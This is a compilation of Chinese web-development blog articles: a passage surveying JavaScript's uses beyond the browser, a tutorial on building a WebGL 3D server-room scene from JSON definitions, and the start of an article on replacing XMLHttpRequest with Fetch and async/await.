2009年5月，Ryan Dah 发布了 Node 的最初版本。Node 是一个基于 Chrome JavaScript 运行时建立的平台，它对 Google V8 引擎进行了封装，使 JavaScript 第一次走出前端运行在了服务器上。这对 JavaScript 来说是一种质的突破，这使得 Web 编程可以只用一门语言便可完成。It's Amazing! Web 的大一统时代仿佛就要来了。同时 Node 也诞生了 npm，从此 JavaScript 也有了强大的包管理机制。

// 使用 Express 的 Hello world
var express = require('express');
var app = express();

app.get('/', function (req, res) {
 res.send('Hello World!');
});

var server = app.listen(3000, function () {
 var host = server.address().address;
 var port = server.address().port;

 console.log('Example app listening at http://%s:%s', host, port);
});


	关于 Node：Node .js- Wikipedia/我们为什么要使用 NodeJS


	Web 开发框架：Express/ThinkJS/Clouda


	博客系统：Ghost/hexo


	基于 Node 的前端自动化构建工具：Grunt/Gulp




3. Hybrid App


传统上 JavaScript 只能在浏览器中运行，Node 的出现让 JavaScript 运行在了服务端，然而只是这样的话，好像还是少点什么。人们总是希望用一种方式去做所有的事情，于是聪明的工程师们就发明了 Hybrid App 这种形式，让 JavaScript 在一定意义上运行在了移动设备上。然而当前 Hybrid App 虽然让 JavaScript 也可以写出 JAVA/Objective-C 才能实现的 APP，但是这种方式仍然没有抛弃浏览器运行环境，对 WebView 有很强的依赖性，性能和原生应用还有很大差距。




	对比：Native App、Web App 还是Hybrid App？


	工具：PhoneGap/APICloud/AppCan




4. 桌面应用


至此 JavaScript 除了可以被浏览器解析，也可以作为后端语言使用，还可以用来构建移动端 APP。仿佛已经够强大了吧，然而这还不够，JavaScript 还可以用来构建桌面应用！

Node-webkit

Node-webkit 是一个 Web 应用程序运行时环境，它可以让你以 Web 的方式来写桌面应用程序，你可以用任何流行的 Web 技术来编写一个跨平台（Windows，Linux，MacOS）的桌面程序，并且性能和交互也是良好的，Teambition 桌面客户端便是使用 Node-webkit 编写的。目前在 GitHub 上有 24463 Star。

heX

heX 是有道公司开发的采用前端技术（HTML，CSS，JavaScript）开发桌面应用软件的跨平台解决方案，意在解决传统桌面应用开发中繁琐的 UI 和交互开发工作，使其变的简单而高效。特别适合重 UI，重交互的桌面应用软件。新版有道词典 beta 版的首页便是使用 heX 开发完成的。


	Node-Webkit 作者王文睿：桌面应用的全新开发方式


	Node-Webkit 文档/Node-Webkit 教程


	heX 介绍/heX 文档




Electron

Electron（以前叫做 Atom Shell） 是 GitHub 开源的使用 Web 技术开发桌面应用的技术平台。它允许你使用 HTML, CSS 和 JavaScript 编写跨平台的桌面应用。它是 io.js 运行时的衍生，专注于桌面应用而不是 web 服务端。Electron 不仅仅是一个支持打包 web 应用成为桌面应用的原生 web view。它现在包含 app 的自动升级、安装包、崩溃报告、通知和一些其它原生桌面应用的功能——所有的这些都通过 JavaScript API 调用的。

	使用 AngularJS 和 Electron 构建桌面应用




5. 神作 React


React

React（React.js） 是由 FaceBook 开发和维护的前端框架，目前在 GitHub 得到了 27900+ star。它摒弃了 MVC/MVVM 的模式，仅仅是做 UI，开创性地采用了 Virtual DOM（虚拟 DOM）避免了 DOM 操作消耗性能的问题，将 UI 拆分成不同的可组合、可复用、可维护的组件，组件和组件之间耦合度极低，开发效率大幅度增加。在前端 UI 组件化的趋势下，这很值得去尝试。instagram.com 全站都采用 React 进行开发。



上图来自 @鬼道 的知乎回答如何评价 React Native？

   // 简单的官方示例
   var HelloMessage = React.createClass({
       render: function() {
           return <div>Hello {this.props.name}</div>;
       }
   });

   React.render(<HelloMessage name="John" />, mountNode);

React Native

React Native 既拥有 Native 的用户体验，又保留 React 的开发效率。开源不到1周 GitHub Star 破万，这简直是逆天的成绩啊！上线之初仅支持 iOS，React 也在9月14号对 Android 提供了支持服务，这几天意味着你可以使用同一套逻辑和架构、同一门语言实现 Web、iOS、Android 的开发。由于各大平台 API 和交互逻辑的不同，React Native 的理念是 “Learn once, write anywhere”，而不是曾经跨平台流行的 “Write once, run anywhere” 。实际上 React Native 和 React 有很大的差别，但是逻辑和架构还是保持一致的。React Native 和 Hybrid 最大的区别是前者摒弃了饱受性能诟病的 WebView，通过 HTML 标签和移动平台的组件进行映射，仿佛是将 JS “编译”成了原生语言一样，性能和交互体验会比 Hybrid 好上不少。目前在 GitHub 上有 18551 Star。

 // 简单的官方示例
 // iOS
 var React = require('react-native');
 var { TabBarIOS, NavigatorIOS } = React;
 var App = React.createClass({ 
    render: function() { 
       return ( 
         <TabBarIOS> 
           <TabBarIOS.Item title="React Native" selected={true}>
           <NavigatorIOS initialRoute={{ title: 'React Native' }} />
         </TabBarIOS.Item> </TabBarIOS>
       ); 
     },
 });

 // Android
 var React = require('react-native');
 var { DrawerLayoutAndroid, ProgressBarAndroid } = React;
 var App = React.createClass({
     render: function() {
       return (
         <DrawerLayoutAndroid
           renderNavigationView={() => <Text>React Native</Text>}>        
           <ProgressBarAndroid />
         </DrawerLayoutAndroid>
       );
     },
 });


	React 文档


	React 傻瓜教程/React 入门 - 阮一峰


	React Native 文档


	React Native




6. 游戏


世界上最流行的 2D 游戏引擎之一 Cocos2d 和最流行的 3D 游戏引擎之一 Unity3D 均支持 JS 开发游戏。

Cocos2d-js

Cocos2d-JS 是 Cocos2d-x 的 JavaScript 版本，融合了 Cocos2d-html5 和Cocos2d-x JavaScript Bindings。它支持 Cocos2d-x 的所有核心特性并提供更简单易用的 JavaScript 风格 API，并且天然支持原生、浏览器跨平台应用。﻿

在3.0版中，Cocos2d-JS 完成了不同平台工作流的彻底整合，为不同平台提供了统一的开发体验。无论开发 Web 应用还是原生应用，都可以便捷地采用 Cocos2d-JS 实现“一次开发，全平台运行”。采用 Cocos2d-JS 开发的同一套 JavaScript 游戏代码，可以同时运行在 Mac OS X,  Windows,  iOS,  Android等原生平台、以及所有现代浏览器上，这将使得我们的开发者轻松覆盖几乎所有发行渠道，带来前所未有的机遇。另一方面，若开发者只想开发一款 Web 轻度休闲游戏，Cocos2d-JS 也专门为此类游戏定制了 Lite Version，直接将 Cocos2d-JS Lite Version 集成到页面中即可使用。



Unity3D

Unity3D 是一个跨平台的 3D 游戏引擎，与 Cocos2d 最大的区别在于前者主要面对 2D 游戏开发者，后者主要进行大型 3D 游戏的开发。

Pomelo

pomelo 是一个网易开发的基于 Node.js 的开源游戏服务器框架，与以往单进程的游戏框架不同, 它是高性能、高可伸缩、分布式多进程的游戏服务器框架，并且使用很简单。它包括基础开发框架和一系列相关工具和库，可以帮助开发者省去游戏开发中枯燥的重复劳动和底层逻辑工作，免除开发者的重造轮子，让开发者可以更多地去关注游戏的具体逻辑，大大提高开发效率。pomelo 强大的可伸缩性和灵活性使得 pomelo 也可以作为通用的分布式实时应用开发框架，用于一些高实时应用的开发，而且 pomelo 在很多方面的表现甚至超越了现有的开源实时应用框架。pomelo 支持所有主流平台的客户端，并提供了客户端的开发库，使得客户端的开发变得很友好。


	欢迎使用pomelo


	pomelo 中文文档


	pomelo架构概览




Bearcat

Bearcat 是网易 pomelo 项目团队开发的一个基于 POJOs(Plain Old JavaScript Objects) 进行开发的应用层框架，Bearcat 提供了一个轻量级的容器来编写简单、可维护的 Node.js。Bearcat 提供了一个基础的底层来管理应用逻辑对象，使得开发者就可以把精力放在应用层的逻辑编写上。Bearcat 使开发者编写“简单纯粹的 JavaScript 对象”(POJO)，并且不会侵入这些 POJO，你完全可以在不使用 Bearcat 的环境下部署应用这些 POJO。


	JavaScript 应用框架 Bearcat


	基于 bearcat 的 cocos2d-js 游戏开发




7. 其它

FUSE

Fuse 是一个为开发者和设计者而设计的用户体验（UX）工具集，用于创建原生的、跨平台的 iOS 和 Android 移动应用。在 Fuse 中，开发者使用标记定义用户界面，使用 JavaScript 编写应用程序逻辑，同时所有的渲染都会被编译成原生代码以获得最佳性能。通过 Fuse，用户能够快速地创建漂亮的、具有流畅动画体验的原生移动应用。


	Fuse：专为移动应用开发者和设计者而生的用户体验工具集


	官方示例




Cylon



Cylon.js 是一个开源 JavaScript 框架，使用 Node.js 来进行机器人开发和物理计算。Cylon.js 提供一个简单强大的方法来解决同一时间合并不同设备的问题。目前支持多达 43 种平台的硬件设备，其中包括 Arduino、AT&T M2X、Intel Edison、Leap Motion、Nest、OpenCV 等众多热门的硬件平台。


	用Javascript制造机器人和火箭


	GitHub


	超越Web，Javascript在物联网的应用


	NodeBots-JavaScript在智能设备驱动（物联网）中的崛起




浏览器插件和扩展

现代浏览器大都支持扩展程序的开发，我们常用的慧慧购物助手、有道翻译、浏览器截图等等这些浏览器插件都是使用 JavaScript 开发完成的。浏览器会暴露一些方法给扩展程序使用，比如 js 注入、窗口管理、页面通讯等。正是这些插件的存在让浏览器的可用性大大增强。


	Chrome 插件集


	论前端工程师如何应对西电教学评估系统


	Chrome 插件开发文档




0x03. JavaScript 语言是坨屎？


	兼容性


	性能


	面向对象


	深拷贝


	单线程


	···




这些都是 JavaScript 的语言缺陷，拿面向对象举例，JavaScript 没有严格意义的类和对象，只能用函数这种奇奇怪怪的方式实现 OOP。这些缺陷也情有可原，因为事实上 JavaScript 在几天（据说为10天）的时间内就被 Brendan Eich 设计出来了。很多人都感叹 JavaScript 在这么恶劣的语言和环境中竟能得到这样的成功。正是因为 JavaScript 开发周期短、早期规范缺失、浏览器厂商竞争这些原因导致一些问题迟迟不能解决。

// 工厂模式 常用
function Person(name, gender, age) {
 var obj = Object();
 obj.name = name;
 obj.gender = gender;
 obj.age = age;
 obj.tellAge = function () {
   console.log(this.age);
 };
 return obj;
}

var puya = new Person('PuYart', 'male', '21');
puya.tellAge();

// 构造函数模式
function Person(name, gender, age) {
  this.name = name;
  this.gender = gender;
  this.age = age;
  this.tellAge = function () {
    console.log(this.age);
  };
}

var puya = new Person('PuYart', 'male', '21');
puya.tellAge();

// 原型链（+构造函数）模式 很常用
function Person(name, gender, age) {
  this.name = name;
  this.gender = gender;
  this.age = age;
}

Person.prototype.tellAge = function () {
    console.log(this.age);
};

var puya = new Person('PuYart', 'male', '21');
puya.tellAge();

这里举出了常用的三种构造对象的方法，你也会感觉到恶心得要死吧。为了改善 JavaScript 语言本身的不足，微软在2012年推出了 TypeScript 语言，TypeScript 是 JavaScript 的超集，支持强类型和 OOP，最终编译为 JavaScript。当然了 CoffeeScript 也是一种解决方案。

ECMAScript 经过4个版本的迭代之后，终于迎来了第5个版本（因为 ES4 流产了）—— ES6。ES6 标准的发布可谓是 JavaScript 历史上最重要的里程碑，它给 JavaScript 带来了诸多语言特性，箭头操作符、类的支持、字符串模板、函数参数默认值、迭代器、for-of 遍历、生成器、Symbols 基本类型等等，这就意味着你可以这样写 JavaScript 了：

// ES6 中启用了关键字 class
class Person {
  constructor(name, gender, age) {
    this.name = name;
    this.gender = gender;
    this.age = age;
  }
  tellAge() {
    console.log(this.age);
  }
}

var puya = new Person('PuYart', 'male', '21');
puya.tellAge();

虽然 ES6 带来了很多美妙的特性，让 JavaScript 也可以像其他语言那样优雅地写出健壮的代码，但是 ES5 还会独占市场很久，各浏览器厂商跟进也需要一段时间。然而我们有理由相信，在不久的将来，JavaScript 的另一片美好的天空定会到来。毕竟 JavaScript 是一门年轻但是充满活力、不断进化的语言。


	Javascript 诞生记


	专题：深入浅出 ES6


	《ECMAScript 6入门》




0x04. JavaScript 统治世界？

JavaScript 固然可以做很多事情，从前端到后端，从桌面到移动，从应用到游戏，仿佛干了所有的事情一样。然而，也正是 JavaScript 固有的语言特性，使其在很多场景并不适用，调用硬件（经 @zhangyang 提醒 nodebots 可以控制硬件）、大数据、高强度计算等等这些考验性能和执行效率的事情 JavaScript 是万万做不到的不太擅长的；尽管 JavaScript 可以移动开发，然而真正采用 JavaScript 来开发移动端是一个很需要魄力的选择，没有生态支持、没有历史可借鉴，究竟有多少人愿意这样做也是一个问题。细细一想，JavaScript 成熟的应用空间也只剩下了前端、轻量级后端和游戏了吧。然而当 ES6 大量部署的时候，这个世界会是什么样，谁又知道呢？

JavaScript 统治世界，任重而道远啊！




 HTML5，不只是看上去很美（第二弹：打造最美3D机房）

作者：MonoLog

来源： HTML5，不只是看上去很美（第二弹：打造最美3D机房）



                    
前言

最近项目开发任务告一段落，刚好有时间整理这大半年的一些成果。使用html5时间还不久，对js的认识还不够深入。没办法，以前一直搞java，对js的一些语言特性和概念一时还转换不过来。

上一篇第一弹介绍了项目中做的一个彩虹爆炸图，主要用了 html5的canvas的2d绘制技术。这一回我想介绍一下项目中的一个亮点技术：html5的3D，以及如何用它打造精美的3D机房监控系统。

------------------------10月27日更新-----------------------------
没想到这篇的点击率这么高，感谢大家给予的厚爱。
受到大家的启发和鼓励，这个3D机房系列已经有了长足的进步。
补上后续两篇的传送门：
第二季：场景和功能的丰富，包括机柜、设备、走线、路径规划等功能
第三季：功能的进一步丰富，包括资产管理，动环监控等的可视化管理

另外，录了两个视频，懒得看长文的朋友可以直接戳：
http://v.youku.com/v_show/id_XMTMzNzk5MjQzNg==.html
http://v.youku.com/v_show/id_XMTM3MDgxNTQ4NA==.html

目标效果图

下图是领导给找的一张的效果参考图，客户希望机房至少能达到下面的3D效果。

懂的人都知道，这可是一张设计公司出的装修效果图啊，就算是用max建模，也需要大量的工作，何况咱可是程序员在做数据中心的可视化项目啊。。。强忍心中奔腾的万千头**马，静下心来思考，那就先从搭建一个webGL的场景开始吧。

WebGL基本场景搭建

在html5里面使用3D已经不是什么高深技术，它的基础是WebGL，一个OpenGL的浏览器子集，支持大部分主要3D功能接口。目前最新的浏览器都有比较好的支持，IE需要到11（是的，你没有看错）。

要检测你的浏览器是否支持webGL，可直接访问网页http://get.webgl.org/ 看是否能看到一个旋转的立方体。如果能看到，说明你的浏览器支持webgGL，否则，可以下一个最新的chrome试试吧。相对来说chrome对webGL的支持最好，效率也很优秀。



要在浏览器里面使用webGL，就要研究webGL相关的技术和用法。做3D应用并不是一件轻松的事。就算最简单的搭建一下webGL场景，也需要下面这些代码：

var width = window.innerWidth;  
var height= window.innerHeight;  
var container = document.createElement( 'div' );  
document.body.appendChild( container );  
var webglcanvas = document.createElement('canvas');               
container.appendChild(webglcanvas);   
var gl = webglcanvas.getContext("experimental-webgl");                

function updateFrame () {             
  gl.viewport ( 0, 0, width, height );  
        gl.clearColor(0.4, 0.4, 0.7, 1);  
        gl.clear ( gl.COLOR_BUFFER_BIT );       
         setTimeout(   
    function(){updateFrame()},  
            20);  
     }  

setTimeout(   
  function(){
    updateFrame();
  },  
20);  


和html一样，需要先创建一个canvas元素，并获得其webgl上下文：

var gl = webglcanvas.getContext("experimental-webgl");

然后在一个updateFrame的函数中，像html5的2D context一样，去绘制3D的内容。

另外，要再起一个死循环，每隔**毫秒调用一次这个updateFrame函数来重绘场景。和2D不同，3D场景里面的变化是随时随地的，所以需要不停刷新，就像播放电影或视频，静止不动的画面基本没有，所以死循环刷新基本是必要的。不过实际项目使用中会有很多优化，尽量做到“按需刷新”，节省cpu和移动设备电量。有感兴趣的同学，哥可以单独写文章介绍。这段程序基本上什么也没做，就画了一个静止不动的区域，如下图：



虽然看不见任何3D的内容，不过它已经是一个最简单的webgl程序了。我们的3D机房，也就是在这上面不断丰富而已。

对象封装

要做项目，搭建下去工作量太大了，时间周期也不允许。使用第三方辅助工具是不可避免的，像Three.js, twaver.js都是选择。这些工具都可以提供3D的基本对象和各种特效，当然这都不是最主要的，主要是如何利用它做出我想要的效果：好看。为了避免大量修改代码，在项目里做了一些封装，即把原始3D的立方体等对象进行进一步封装，让一个json数据就可以提供这些对象的定义。这样使用起来就比较方便了。json大致结构如下：

var json={    
objects: [{
    name: '地板',
    …
},{
…
}],
}


下面我们逐一来看这些3D对象是怎么进行美化的，过程可能稍显啰嗦，跬步千里，这次的基础打好了，以后的项目就手到擒来了。

地板和斜坡

第一个要做的，也是应该比较简单的，就是地板对象。3D中，地板应该是一个有些厚度、带上格子贴图的薄薄立方体平面。因此我对经过封装的立方体对象，用一段json对象定义如下：

{
    name: '地板',
    type: 'cube',
    width: 1600,
    height: 10,
    depth: 1300,
        
    style: {
        'm.color': '#BEC9BE',
        'm.ambient': '#BEC9BE',
    }
}


通过定义，创建了一个13米*16米的地板块，这也是客户小型机房的实际尺寸：


看起来有那么点意思，就是颜色还不够，需要找一个地板砖纹理图。需要注意的是，纹理图的尺寸都需要是宽和高都是2的幂，例如128x128、256*256等，这样出来效果才会好。这也是3D软件一般所要求的。另外纹理要能连续拼接不露破绽，这样才好。例如下面我google出来的图：


在style里面添加：

   'top.m.texture.image': 'images/floor.png',
   'top.m.texture.repeat': new mono.Vec2(10,10),


效果如下：


有图片材质纹理，效果果然好多了。突然想到客户说，他们机房底面有一个方便运送设备的斜坡，必须要画出来。这……（╯－＿－）╯

后来想到twaver里面的对象可以支持运算，比如可以定义一个斜的立方体，让地板剪掉立方体，就可以做到。于是继续定义json：

{
    name: '地板切坡',
    type: 'cube',
    width: 200,
    height: 20,
    depth: 260,
    translate: [-348,0,530],
    rotate: [Math.PI/180*3, 0, 0],
    op: '-',
    style: {
        …,
    }
}


这里定义的一个倾斜的立方体，通过translate定义位置，rotate定义旋转角度，然后再通过op定义运算符，这里是“减去”，就用“-”表示。被剪掉的立方体也可以设置材质、纹理、贴图、颜色…等等，和地板一样。看看效果：


第一步总算是有惊无险地搞定了。

走廊桌

下一步找了个简单的对象，按要求走廊要放一个接待桌。为了简单，我决定就偷懒做一个立方体表示。

{
    name: '走廊板凳',
    type: 'cube',
    width: 300,
    height: 50,
    depth: 100,
    translate: [350, 0, -500],
}


效果如下：


这里偷懒其实是有原因的。在3D里，最重视的就是效率，千万不要放一些很复杂的模型，尤其是这类非业务对象。就像这个桌子，尽管只是个简单的立方体，但只要和整体风格协调一致，再增加一点配色并启动阴影效果后，看着就好多了：


墙体

墙体是机房里很重要的一个部分，有好的光照、阴影的效果才能看起来更加逼真。由于墙体是不规则的路径，一段一段去生成还真挺麻烦的，还好引擎支持这种物体，甚至曲线路径都可以。这里只要在json里面定义一组数字的坐标，让这些数字依次连接，组成一个墙体，最后生成3D对象放入场景中就行啦。

json定义如下：

{
    name: '主墙体',
    type: 'path',
    width: 20,
    height: 200,
    translate: [-500, 0, -500],
    data:[
        [0, 0],
        [1000, 0],
        [1000, 500],
        [500, 500],
        [500, 1000],
        [0, 1000],
        [0,0],
    ],
}


注意这里的类型变成了path，data中定义了一个二维坐标数组来描述墙体。由于墙都是从底面开始的，所以只定义它的平面的x、y坐标就行了。看看效果：



不过如前文所说，还是需要上色、上阴影，才能有更好的效果。这里我们启用阴影并咨询设计师美眉几个颜色值，加上去后再看下效果：


以及一些细节：


门

看着雪白的墙，是不是觉得少了点什么？对，就是门。在3D机房的监控系统里，门禁是很重要的一块，客户要求门应该与实际位置相对应，并且要有开门关门的动画效果。这样，实际的门禁信息采集上来后，就能在界面实时看到门的状态了。

这里，考虑到门如果直接放上去，会被墙盖住；如果比墙厚，又难看不符合实际。还是应该先定义一个门洞立方体，把门所在的位置挖掉：

{
    name: '门洞',
    type: 'cube',
    width: 195,
    height: 170,
    depth: 30,
    op: '-',
    translate:[-350,2,500],
}


刚好挖在斜坡的位置，这样设备进屋就方便了：



不过这门没有一个门框，感觉不太生动。多一个门框会感觉立体感强一些。门框可以是一个比门洞略大的立方体，在挖门洞之前添加：

{
    name: '门框',
    type: 'cube',
    width: 205,
    height: 180,
    depth: 26,
    translate: [-350, 0, 500],
    op: '+',
}

加上阴影和光线等综合效果后，还不错，挺有档次的。



来张全景图看看：


接着，只要把门安上去就行了。门的定义比较简单，就是一个薄的立方体。不过为了做到玻璃效果，需要设置透明度，让它看上去更像一个玻璃，再让设计师美眉弄一张好看一点的门的图，贴上去。尽管有了webGL，复杂的建模工作可以省略了，不过设计师美眉的配合仍然很重要。
先做左边的门：

{
    name: '左门',
    type: 'cube',
    width: 93,
    height: 165,
    depth: 2,
    translate:[-397,4,500],
    style:{
        'm.transparent': true,
        'm.texture.image': 'images/door_left.png',                    
    }


上面增加的style主要透明和贴图两项。看看效果：



同样的方法，再把右侧门贴上就搞定了。为了增加体验，也是用户的要求，门上面设置了动画：双击可以自动打开，再双击可以直接关闭。动画功能引擎做好了封装，在json中直接指定动画类型就行了。不过要注意左右门的动画旋转方向要相反，要不然一个向里开一个向外开感觉比较怪异。



窗

项目中，窗本身不需要有任何业务属性，但是美观度的要求可一点都不能少。方法和门类似，先放窗框后挖窗体。不过为了有点变化，这里不做窗框了，做一个窗台，方法和道理与门相同。

{
    name: '主窗户洞',
    type: 'cube',
    width: 420,
    height: 150,
    depth: 50, 
    translate: [200, 30, 500],
    op: '-',
},{
    name: '主窗户台',
    type: 'cube',
    width: 420,
    height: 10,
    depth: 40, 
    translate: [200, 30, 510],
    op: '+',
}


定义了一个窗洞（挖掉）、一个窗台（添加）。一个大窗户就做好了：



再添加一个略带颜色的透明玻璃。玻璃设置点高光和反射，增加“玻璃”感觉：

{
    name: '主窗户玻璃',
    type: 'cube',
    width: 420,
    height: 150,
    depth: 2,
    translate: [200, 30, 500],
    op: '+',
    style: {
        'm.transparent': true,
        'm.opacity':0.4,
        'm.color':'#58ACFA',
    },            
}


json中玻璃设置了透明度和颜色。这样一个半透明的茶色玻璃就好了：


到这里突然在想：盖房子如果像写程序一样简单就好了，所有的程序猿就不会是无房一族单身狗了。当然写程序和盖房子一样：该封装好的要封装好，最后就是搭积木组装就行了。如果盖房子都是从挖土活泥巴开始，那就杯具了。写程序也是一样，如果从webGL的main开始写……这3D机房的系统要几个月甚至几年才能做出来呢？

外侧墙

按照项目实际要求，继续增加更多建筑物墙体。主要是房间外侧有两道走廊隔墙。这是一个中间有大片透明玻璃的走廊隔墙，需要做的好看一点。由于是直线墙，没有复杂走向，直接用立方体定义：

{
    name: '左外墙',
    type: 'cube',
    width: 20,
    height: 200,
    depth: 1300,
    translate: [-790, 0, 0],
    op: '+',
}


效果如下：



再继续挖掉中间的窗户部分：

{
    name: '左外墙洞',
    type: 'cube',
    width: 30,
    height: 110,
    depth: 1300,
    translate: [-790, 60, 0],
    op: '-',
}




空白显得很奇怪，加上玻璃试试：

{
    name: '左外墙玻璃',
    type: 'cube',
    width: 4,
    height: 110,
    depth: 1300,
    translate: [-790, 60, 0],
    op: '+',
    style: {
        'm.transparent': true,
        'm.opacity':0.6,
    },
}




有了半透明和高光的效果，看起来就有质感了，右边也如法炮制：



这样，整个建筑的外观就基本完成了。最后，放一些绿植，增加些生气吧。

植物

做一盆植物，需要有一个空的花盆，花盆里面有泥土，上面有一株植物。这些东西用3D做起来都有点啰嗦。不过也不难。花盆用一个大圆柱剪掉中间的小圆柱，做成空心花盆；植物用贴图+透明模拟一下就行，不用真的去做植物的3D模型，否则要累死了。

根据上面的思路，在项目中通过仔细调整，把创建花盆的代码封装好，然后在json中定义花盆位置就行了。下面定义一个：

{
    name: '花1',
    type: 'plant',
    translate: [560, 0, 400],
}

程序中解析如果type是plant则创建植物对象并添加场景。



在房间、走廊、甚至窗台上都可以放几盆，窗台上的可以通过设置scale缩小一些，并提升其高度到窗台位置即可。


看看下整体效果，还不赖吧。


机柜和设备

写了那么一大篇，才终于把3D机房的外观装修完成，咱也算是个设计师程序员的混合型人才了呢。其实机房最核心的资源——机柜，还没找落呢，没办法，形象工程也是项目建设的一大亮点。

机柜

机柜，以及其中的服务器设备。这才是3D机房里面最终要管理的内容。在我们的实际项目中，这些资产都是在数据库中存储，并通过json接口加载到浏览器中显示。这里为了演示方便，直接写几个机柜的片段，看一下显示效果。


机柜对象在项目中是这样封装的：用一个立方体来表示机柜，并加上贴图。项目中，为了提高显示速度，机柜一开始并不加载内部服务器内容，而是只显示自身一个立方体。当用户双击后，会触发一个延迟加载器，从服务器端加载机柜内部服务器，并加载到对应的位置上。此时，机柜会被挖空成一个空心的立方体，以便视觉上更像一个机柜。

定义机柜的json如下：

{
    name: '机柜',
    type: 'rack',
    lazy: true,
    width: 70,
    depth: 100,
    height: 220,
    translate: [-370, 0, -250],
    severity: CRITICAL,
}


上面的机柜定义中，有一个lazy标记，标记它是否延迟加载其内容。如果延迟加载，则双击触发，否则程序显示时直接加载其内容。Severity是定义了机柜的告警信息，它是否有业务告警。如果有告警，会用一个气泡显示在机柜的上方，同时机柜也会被染色成告警对应的颜色。

加入更多的机柜看看效果： 



设备

简单起见，这里管理的设备假设都是机架设备，尺寸规格比较规整，因此比较容易在机柜中组织。一个设备的外观确定后，在数据库中定义好模板，加载时根据其所在机柜的位置放置即可。



这里只是随机生成了几个服务器设备，并按位置摆放。在实际应用中，可以通过手工录入或者智能机架报送的信息来确定服务器的类型和位置。



如果需要监控到端口级别，还可以在服务器弹出后，再进一步延迟加载设备商的板卡、端口对象，并点击后进一步进行配置、监控等操作。当然加载的数据越细，对3D引擎和浏览器的压力会越大。可以通过动态延迟加载/卸载策略，获取一些平衡折中。

电视机

纯属无聊，再做一个电视机挂在墙上。依旧，定义一个立方体、挖空屏幕，放上透明玻璃，再贴上我们喜欢的电视节目画面，就ok了。

{
    name: '电视机体',
    type: 'cube',
    width: 150,
    height: 80,
    depth: 5,
    translate: [80, 100, 13],
    op: '+',        
},{
    name: '电视机挖空',
    type: 'cube',
    width: 130,
    height: 75,
    depth: 5,
    translate: [80, 102.5, 17],
    op: '-',
},{
    name: '电视机屏幕',
    type: 'cube',
    width: 130,
    height: 75,
    depth: 1,
    translate: [80, 102.5, 14.6],
    op: '+',
    style: {
        'front.m.texture.image': 'images/screen.jpg',
    },
}


当然，实际项目中，可以换上监控大屏幕的效果：


总结

整个场景写到最后，我也已经脑洞大开游刃有余了。3D场景，尤其是这类业务系统，并不一定要死抠模型的仿真度，才能做到“好看”的效果。先来一张全景看一下：


怎么样，还算精美吧？基本不输前面看到的广告公司的效果图。但和效果图一张死图片不一样，我们这是一个能操作、能漫游、能缩放、有动画、显示流畅、浏览器无需插件就能直接打开的3D机房小程序，就一个json文件和一百多行代码和一天的时间就搞定了，还是让人有点惊讶的。



不用插件、不用3Dmax，不用模型库，干干净净纯粹的小程序，手机和平板也能用哦，而且还很流畅！上一张我的Nexus5截图瞅瞅：



经过优化，场景加载已经控制在600毫秒以内，缩放漫游也很流畅。当然，技术和美化永无止境，用户的需求也千变万化精益求精。但只要我们选择好了技术和工具，就能事半功倍。Html5就是极佳的一个选择。

Html5，也许它还不是银弹，但它确实是很好的一个炮弹。本文这一弹，你还喜欢吗？欢迎来信留言索取代码、技术交流：tw-service@servasoft.com


 传统 Ajax 已死，Fetch 永生

作者：Cam

来源： 传统 Ajax 已死，Fetch 永生



                    


原谅我做一次标题党，Ajax 不会死，传统 Ajax 指的是 XMLHttpRequest（XHR），未来现在已被 Fetch 替代。

最近把阿里一个千万级 PV 的数据产品全部由 jQuery 的  $.ajax 迁移到 Fetch，上线一个多月以来运行非常稳定。结果证明，对于 IE8+ 以上浏览器，在生产环境使用 Fetch 是可行的。

由于 Fetch API 是基于 Promise 设计，有必要先学习一下 Promise，推荐阅读 MDN Promise 教程。旧浏览器不支持 Promise，需要使用 polyfill es6-promise 。

本文不是 Fetch API 科普贴，其实是讲异步处理和 Promise 的。Fetch API 很简单，看文档很快就学会了。推荐 MDN Fetch 教程 和 万能的WHATWG Fetch 规范

Why Fetch

XMLHttpRequest 是一个设计粗糙的 API，不符合关注分离（Separation of Concerns）的原则，配置和调用方式非常混乱，而且基于事件的异步模型写起来也没有现代的 Promise，generator/yield，async/await 友好。

Fetch 的出现就是为了解决 XHR 的问题，拿例子说明：

使用 XHR 发送一个 json 请求一般是这样：

var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.responseType = 'json';

xhr.onload = function() {
  console.log(xhr.response);
};

xhr.onerror = function() {
  console.log("Oops, error");
};

xhr.send();

使用 Fetch 后，顿时看起来好一点

fetch(url).then(function(response) {
  return response.json();
}).then(function(data) {
  console.log(data);
}).catch(function(e) {
  console.log("Oops, error");
});

使用 ES6 的 箭头函数 后：

fetch(url).then(response => response.json())
  .then(data => console.log(data))
  .catch(e => console.log("Oops, error", e))

现在看起来好很多了，但这种 Promise 的写法还是有 Callback 的影子，而且 promise 使用 catch 方法来进行错误处理的方式有点奇怪。不用急，下面使用 async/await 来做最终优化：

注：async/await 是非常新的 API，属于 ES7，目前尚在 Stage 1(提议) 阶段，这是它的完整规范。使用 Babel 开启 runtime 模式后可以把 async/await 无痛编译成 ES5 代码。也可以直接使用 regenerator 来编译到 ES5。



try {
  let response = await fetch(url);
  let data = response.json();
  console.log(data);
} catch(e) {
  console.log("Oops, error", e);
}
// 注：这段代码如果想运行，外面需要包一个 async function

duang~~ 的一声，使用 await  后，写异步代码就像写同步代码一样爽。await 后面可以跟 Promise 对象，表示等待 Promise resolve() 才会继续向下执行，如果 Promise 被 reject() 或抛出异常则会被外面的 try...catch 捕获。

Promise，generator/yield，await/async 都是现在和未来 JS 解决异步的标准做法，可以完美搭配使用。这也是使用标准 Promise 一大好处。最近也把项目中使用第三方 Promise 库的代码全部转成标准 Promise，为以后全面使用 async/await 做准备。

另外，Fetch 也很适合做现在流行的同构应用，有人基于 Fetch 的语法，在 Node 端基于 http 库实现了 node-fetch，又有人封装了用于同构应用的 isomorphic-fetch。

注：同构(isomorphic/universal)就是使前后端运行同一套代码的意思，后端一般是指 NodeJS 环境。



总结一下，Fetch 优点主要有：


	语法简洁，更加语义化


	基于标准 Promise 实现，支持 async/await


	同构方便，使用 isomorphic-fetch




Fetch 启用方法

下面是重点↓↓↓

先看一下 Fetch 原生支持率：


原生支持率并不高，幸运的是，引入下面这些 polyfill 后可以完美支持 IE8+ ：


	由于 IE8 是 ES3，需要引入 ES5 的 polyfill: es5-shim, es5-sham


	引入 Promise 的 polyfill: es6-promise


	引入 fetch 探测库：fetch-detector


	引入 fetch 的 polyfill: fetch-ie8


	可选：如果你还使用了 jsonp，引入 fetch-jsonp


	可选：开启 Babel 的 runtime 模式，现在就使用 async/await




